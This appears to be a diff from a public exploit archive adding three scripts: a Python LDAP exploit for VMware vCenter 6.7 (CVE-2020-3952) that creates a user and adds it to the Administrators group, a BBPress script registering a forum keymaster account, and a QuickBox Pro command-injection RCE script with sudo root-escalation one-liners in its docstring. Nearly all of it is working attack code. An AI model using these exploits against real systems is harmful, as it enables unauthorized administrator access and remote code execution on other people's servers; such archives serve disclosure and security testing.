DB: 2020-06-02

3 changes to exploits/shellcodes

Wordpress Plugin BBPress 2.5 - Unauthenticated Privilege Escalation
VMware vCenter Server 6.7 - Authentication Bypass
QuickBox Pro 2.1.8 - Authenticated Remote Code Execution

exploits/multiple/webapps/48535.txt

@@ -0,0 +1,248 @@
+# Exploit Title: VMware vCenter Server 6.7 - Authentication Bypass
+# Date: 2020-06-01
+# Exploit Author: Photubias
+# Vendor Advisory: [1] https://www.vmware.com/security/advisories/VMSA-2020-0006.html
+# Version: vCenter Server 6.7 before update 3f
+# Tested on: vCenter Server Appliance 6.7 RTM (updated from v6.0)
+# CVE: CVE-2020-3952
+
+#!/usr/bin/env python3
+
+'''
+	Copyright 2020 Photubias(c)        
+        This program is free software: you can redistribute it and/or modify
+        it under the terms of the GNU General Public License as published by
+        the Free Software Foundation, either version 3 of the License, or
+        (at your option) any later version.
+
+        This program is distributed in the hope that it will be useful,
+        but WITHOUT ANY WARRANTY; without even the implied warranty of
+        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+        GNU General Public License for more details.
+
+        You should have received a copy of the GNU General Public License
+        along with this program.  If not, see <http://www.gnu.org/licenses/>.
+        
+        Based (and reverse engineerd from): https://github.com/guardicore/vmware_vcenter_cve_2020_3952
+        
+        File name CVE-2020-3592.py
+        written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be
+        
+        ## Vulnerable setup (requirements): vCenter Server 6.7 that was upgraded from 6.x
+        
+        This is a native implementation without requirements, written in Python 3.
+        Works equally well on Windows as Linux (as MacOS, probably ;-)
+
+        Features: exploit + vulnerability checker
+'''
+
+import binascii, socket, sys, string, random
+
+## Default vars; change at will
+_sIP = '192.168.50.35'
+_iPORT = 389
+_iTIMEOUT = 5
+
+def randomString(iStringLength=8):
+    #sLetters = string.ascii_lowercase
+    sLetters = string.ascii_letters
+    return ''.join(random.choice(sLetters) for i in range(iStringLength))
+
+def getLengthPrefix(sData, sPrefix, hexBytes=1): ## sData is hexlified
+    ## This will calculate the length of the string, and verify if an additional '81' or '82' prefix is needed
+    sReturn = sPrefix
+    if (len(sData) / 2 ) > 255:
+        sReturn  += b'82'
+        hexBytes = 2
+    elif (len(sData) /2 ) >= 128:
+        sReturn += b'81'
+    sReturn += f"{int(len(sData)/2):#0{(hexBytes*2)+2}x}"[2:].encode()
+    return sReturn
+
+def buildBindRequestPacket(sUser, sPass):
+    sUser = binascii.hexlify(sUser.encode())
+    sPass = binascii.hexlify(sPass.encode())
+    ## Packet Construction
+    sPacket = getLengthPrefix(sPass, b'80') + sPass
+    sPacket = getLengthPrefix(sUser, b'04') + sUser + sPacket
+    sPacket = b'020103' + sPacket
+    sPacket = getLengthPrefix(sPacket, b'60') + sPacket
+    sPacket = b'020101' + sPacket
+    sPacket = getLengthPrefix(sPacket, b'30') + sPacket
+    #print(sPacket)
+    return binascii.unhexlify(sPacket)    
+
+def buildUserCreatePacket(sUser, sPass):
+    sUser = binascii.hexlify(sUser.encode())
+    sPass = binascii.hexlify(sPass.encode())
+    def createAttribute(sName, sValue):
+        sValue = getLengthPrefix(sValue, b'04') + sValue
+        sName = getLengthPrefix(sName, b'04') + sName
+        
+        sReturn = getLengthPrefix(sValue, b'31') + sValue
+        sReturn = sName + sReturn
+        sReturn = getLengthPrefix(sReturn, b'30') + sReturn
+        return sReturn
+    
+    def createObjectClass():
+        sReturn = getLengthPrefix(binascii.hexlify(b'top'), b'04') + binascii.hexlify(b'top')
+        sReturn += getLengthPrefix(binascii.hexlify(b'person'), b'04') + binascii.hexlify(b'person')
+        sReturn += getLengthPrefix(binascii.hexlify(b'organizationalPerson'), b'04') + binascii.hexlify(b'organizationalPerson')
+        sReturn += getLengthPrefix(binascii.hexlify(b'user'), b'04') + binascii.hexlify(b'user')
+        
+        sReturn = getLengthPrefix(sReturn, b'31') + sReturn
+        sReturn = getLengthPrefix(binascii.hexlify(b'objectClass'), b'04') + binascii.hexlify(b'objectClass') + sReturn
+        sReturn = getLengthPrefix(sReturn, b'30') + sReturn
+        return sReturn
+    
+    ## Attributes
+    sAttributes = createAttribute(binascii.hexlify(b'vmwPasswordNeverExpires'), binascii.hexlify(b'True'))
+    sAttributes += createAttribute(binascii.hexlify(b'userPrincipalName'), sUser + binascii.hexlify(b'@VSPHERE.LOCAL'))
+    sAttributes += createAttribute(binascii.hexlify(b'sAMAccountName'), sUser)
+    sAttributes += createAttribute(binascii.hexlify(b'givenName'), sUser)
+    sAttributes += createAttribute(binascii.hexlify(b'sn'), binascii.hexlify(b'vsphere.local'))
+    sAttributes += createAttribute(binascii.hexlify(b'cn'), sUser)
+    sAttributes += createAttribute(binascii.hexlify(b'uid'), sUser)
+    sAttributes += createObjectClass()
+    sAttributes += createAttribute(binascii.hexlify(b'userPassword'), sPass)
+    ## CN
+    sCN = binascii.hexlify(b'cn=') + sUser + binascii.hexlify(b',cn=Users,dc=vsphere,dc=local')
+    sUserEntry = getLengthPrefix(sCN, b'04') + sCN
+    
+    ## Packet Assembly (bottom up)
+    sPacket = getLengthPrefix(sAttributes, b'30') + sAttributes
+    sPacket = sUserEntry + sPacket
+    sPacket = getLengthPrefix(sPacket, b'02010268', 2) + sPacket
+    sPacket = getLengthPrefix(sPacket, b'30') + sPacket
+    #print(sPacket)
+    return binascii.unhexlify(sPacket)
+
+def buildModifyUserPacket(sUser):
+    sFQDN = binascii.hexlify(('cn=' + sUser + ',cn=Users,dc=vsphere,dc=local').encode())
+    sCN = binascii.hexlify(b'cn=Administrators,cn=Builtin,dc=vsphere,dc=local')
+    sMember = binascii.hexlify(b'member')
+    ## Packet Construction
+    sPacket = getLengthPrefix(sFQDN, b'04') + sFQDN
+    sPacket = getLengthPrefix(sPacket, b'31') + sPacket
+    sPacket = getLengthPrefix(sMember, b'04') + sMember + sPacket
+    sPacket = getLengthPrefix(sPacket, b'0a010030') + sPacket
+    sPacket = getLengthPrefix(sPacket, b'30') + sPacket
+    sPacket = getLengthPrefix(sPacket, b'30') + sPacket
+    sPacket = getLengthPrefix(sCN, b'04') + sCN + sPacket
+    sPacket = getLengthPrefix(sPacket, b'02010366') + sPacket
+    sPacket = getLengthPrefix(sPacket, b'30') + sPacket
+    #print(sPacket)
+    return binascii.unhexlify(sPacket)
+
+def performBind(s):
+    ## Trying to bind, fails, but necessary (even fails when using correct credentials)
+    dPacket = buildBindRequestPacket('Administrator@vsphere.local','www.IC4.be')
+    s.send(dPacket)
+    sResponse = s.recv(1024)
+    try:
+        sResponse = sResponse.split(b'\x04\x00')[0][-1:]
+        sCode = binascii.hexlify(sResponse).decode()
+        if sCode == '31': print('[+] Ok, service reachable, continuing')
+        else: print('[-] Something went wrong')
+    except:
+        pass
+    return sCode
+
+def performUserAdd(s, sUser, sPass):
+    dPacket = buildUserCreatePacket(sUser,sPass)
+    s.send(dPacket)
+    sResponse = s.recv(1024)
+    try:
+        sCode = sResponse.split(b'\x04\x00')[0][-1:]
+        sMessage = sResponse.split(b'\x04\x00')[1]
+        if sCode == b'\x00':
+            print('[+] Success! User ' + sUser + '@vsphere.local added with password ' + sPass)
+        elif sCode == b'\x32':
+            print('[-] Error, this host is not vulnerable (insufficientAccessRights)')
+        else:
+            if sMessage[2] == b'81': sMessage = sMessage[3:].decode()
+            else: sMessage = sMessage[2:].decode()
+            print('[-] Error, user not added, message received: ' + sMessage)
+    except:
+        pass
+    return sCode
+    
+
+def performUserMod(s, sUser, verbose = True):
+    dPacket = buildModifyUserPacket(sUser)
+    s.send(dPacket)
+    sResponse = s.recv(1024)
+    try:
+        sCode = sResponse.split(b'\x04\x00')[0][-1:]
+        sMessage = sResponse.split(b'\x04\x00')[1]
+        if sCode == b'\x00':
+            if verbose: print('[+] User modification success (if the above is OK).')
+        else:
+            if sMessage[2] == b'81': sMessage = sMessage[3:].decode()
+            else: sMessage = sMessage[2:].decode()
+            if verbose: print('[-] Error during modification, message received: ' + sMessage)
+    except:
+        pass
+    return sCode, sMessage
+
+def performUnbind(s):
+    try: s.send(b'\x30\x05\x02\x01\x04\x42\x00')
+    except: pass
+
+def main():
+    global _sIP, _iPORT, _iTIMEOUT
+    _sUSER = 'user_' + randomString(6)
+    _sPASS = randomString(8) + '_2020'
+    bAdduser = False
+    if len(sys.argv) == 1:
+        print('[!] No arguments found: python3 CVE-2020-3592.py <dstIP> [<newUsername>] [<newPassword>]')
+        print('    Example: ./CVE-2020-3592.py ' + _sIP + ' ' + _sUSER + ' ' + _sPASS)
+        print('    Leave username & password empty for a vulnerability check')
+        print('    Watch out for vCenter/LDAP password requirements, leave empty for random password')
+        print('    But for now, I will ask questions')
+        sAnswer = input('[?] Please enter the vCenter IP address [' + _sIP + ']: ')
+        if not sAnswer == '': _sIP = sAnswer
+        sAnswer = input('[?] Want to perform a check only? [Y/n]: ')
+        if sAnswer.lower() == 'n': bAdduser = True
+        if bAdduser:
+            sAnswer = input('[?] Please enter the new username to add [' + _sUSER + ']: ')
+            if not sAnswer == '': _sUSER = sAnswer
+            sAnswer = input('[?] Please enter the new password for this user [' + _sPASS + ']: ')
+            if not sAnswer == '': _sPASS = sAnswer
+    else:
+        _sIP = sys.argv[1]
+        if len(sys.argv) >= 3:
+            _sUSER = sys.argv[2]
+            bAdduser = True
+        if len(sys.argv) >= 4: _sPASS = sys.argv[3]
+
+    ## MAIN
+    print('')
+    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+    s.settimeout(_iTIMEOUT)
+    try:
+        s.connect((_sIP,_iPORT))
+    except:
+        print('[-] Error: Host ' + _sIP + ':' + str(_iPORT) + ' not reachable')
+        sys.exit(1)
+
+    performBind(s)
+
+    if bAdduser:
+        sCode = performUserAdd(s, _sUSER, _sPASS)
+
+    if not bAdduser:
+        print('[!] Checking vulnerability')
+        sCode, sMessage = performUserMod(s, 'Administrator', False)
+        if sCode == b'\x32': print('[-] This host is not vulnerable, message: ' + sMessage)
+        else: print('[+] This host is vulnerable!')
+    else:
+        sCode = performUserMod(s, _sUSER)
+    
+    performUnbind(s)
+    
+    s.close()
+
+
+if __name__ == "__main__":
+    main()

exploits/php/webapps/48534.py

@@ -0,0 +1,58 @@
+# Exploit Title: Wordpress Plugin BBPress 2.5 - Unauthenticated Privilege Escalation
+# Date: 2020-05-29
+# Exploit Author: Raphael Karger
+# Software Link: https://codex.bbpress.org/releases/
+# Version: BBPress < 2.5
+# CVE: CVE-2020-13693
+
+import argparse
+import requests
+import bs4
+import urllib3
+urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
+ 
+useragent = {"User-Agent" : "This is a real browser i swear"}
+
+def grab_nonce_login_page(url):
+    try:
+        login_page_request = requests.get(url, verify=False, timeout=10, headers=useragent)
+        soup = bs4.BeautifulSoup(login_page_request.text, "lxml")
+        action = soup.find("form", class_="bbp-login-form")
+        wp_login_page = action.get("action")
+        wp_nonce = action.find("input", id="_wpnonce").get("value")
+        return (wp_nonce, wp_login_page)
+    except Exception as nonce_error:
+        print("[-] Nonce Error: '{}'".format(nonce_error))
+    return False
+
+def exploit(url, username, password, email):
+    info = grab_nonce_login_page(url)
+    if info:
+        nonce = info[0]
+        login_page = info[1]
+        try:
+            return requests.post(login_page, data={
+                "user_login" : username,
+                "user_pass" : password,
+                "user_email" : email,
+                "user-submit" : "",
+                "user-cookie" : "1",
+                "_wpnonce" : nonce,
+                "bbp-forums-role" : "bbp_keymaster"
+            }, allow_redirects=False, verify=False, timeout=10, headers=useragent)
+        except Exception as e:
+            print("[-] Error Making Signup Post Request: '{}'".format(e))
+    return False
+
+if __name__ == "__main__":
+    exit("asdasd")
+    parser = argparse.ArgumentParser()
+    parser.add_argument("-n", "--username", dest="username", help="Username of Newly Created Keymaster", default="raphaelrocks")
+    parser.add_argument("-p", "--password", dest="password", help="Password of Newly Created Keymaster", default="raphael123")
+    parser.add_argument("-e", "--email", dest="email", help="Email of Newly Created Keymaster", default="test@example.com")
+    parser.add_argument("-u", "--url", dest="url", help="URL of Page With Exposed Register Page.", required=True)
+    args = parser.parse_args()
+    site_exploit = exploit(args.url, args.username, args.password, args.email)
+    if site_exploit and site_exploit.status_code == 302:
+        exit("[+] Exploit Successful, Use Username: '{}' and Password: '{}'".format(args.username, args.password))
+    print("[-] Exploit Failed")

exploits/php/webapps/48536.py

@@ -0,0 +1,53 @@
+# Exploit Title: QuickBox Pro 2.1.8 - Authenticated Remote Code Execution
+# Date: 2020-05-26
+# Exploit Author: s1gh
+# Vendor Homepage: https://quickbox.io/
+# Vulnerability Details: https://s1gh.sh/cve-2020-13448-quickbox-authenticated-rce/
+# Version: <= 2.1.8
+# Description: An authenticated low-privileged user can exploit a command injection vulnerability to get code-execution as www-data and escalate privileges to root due to weak sudo rules.
+# Tested on: Debian 9
+# CVE: CVE-2020-13448
+# References: https://github.com/s1gh/QuickBox-Pro-2.1.8-Authenticated-RCE
+
+'''
+Privilege escalation: After getting a reverse shell as the www-data user you can escalate to root in one of two ways.
+1. sudo mysql -e '\! /bin/sh'
+2. sudo mount -o bind /bin/sh /bin/mount;sudo mount
+
+'''
+
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+
+import requests
+import argparse
+import sys
+from requests.packages.urllib3.exceptions import InsecureRequestWarning
+from urllib.parse import quote_plus
+
+requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
+
+def exploit(args):
+    s = requests.Session()
+    print('[*] Sending our payload...')
+
+    s.post('https://' + args.ip + '/inc/process.php', data={'username': args.username, 'password': args.password, 'form_submission': 'login'}, verify=False)
+    try:
+        s.get('https://' + args.ip + '/index.php?id=88&servicestart=a;' + quote_plus(args.cmd) + ';', verify=False)
+    except requests.exceptions.ReadTimeout:
+        pass
+
+def main():
+    parser = argparse.ArgumentParser(description="Authenticated RCE for QuickBox Pro <= v2.1.8")
+    parser.add_argument('-i',dest='ip',required=True,help="Target IP Address")
+    parser.add_argument('-u',dest='username',required=True,help="Username")
+    parser.add_argument('-p',dest='password',required=True,help="Password")
+    parser.add_argument('-c',dest='cmd', required=True, help="Command to execute")
+    args = parser.parse_args()
+
+    exploit(args)
+
+
+if __name__ == '__main__':
+    main()
+    sys.exit(0)

files_exploits.csv

@@ -42761,3 +42761,6 @@ id,file,description,date,author,type,platform,port
 48531,exploits/php/webapps/48531.py,"QNAP QTS and Photo Station 6.0.3 - Remote Command Execution",2020-05-28,Th3GundY,webapps,php,
 48532,exploits/php/webapps/48532.txt,"WordPress Plugin Multi-Scheduler 1.0.0 - Cross-Site Request Forgery (Delete User)",2020-05-29,UnD3sc0n0c1d0,webapps,php,
 48533,exploits/multiple/webapps/48533.py,"Crystal Shard http-protection 0.2.0 - IP Spoofing Bypass",2020-05-29,"Halis Duraki",webapps,multiple,
+48534,exploits/php/webapps/48534.py,"Wordpress Plugin BBPress 2.5 - Unauthenticated Privilege Escalation",2020-06-01,"Raphael Karger",webapps,php,
+48535,exploits/multiple/webapps/48535.txt,"VMware vCenter Server 6.7 - Authentication Bypass",2020-06-01,Photubias,webapps,multiple,
+48536,exploits/php/webapps/48536.py,"QuickBox Pro 2.1.8 - Authenticated Remote Code Execution",2020-06-01,s1gh,webapps,php,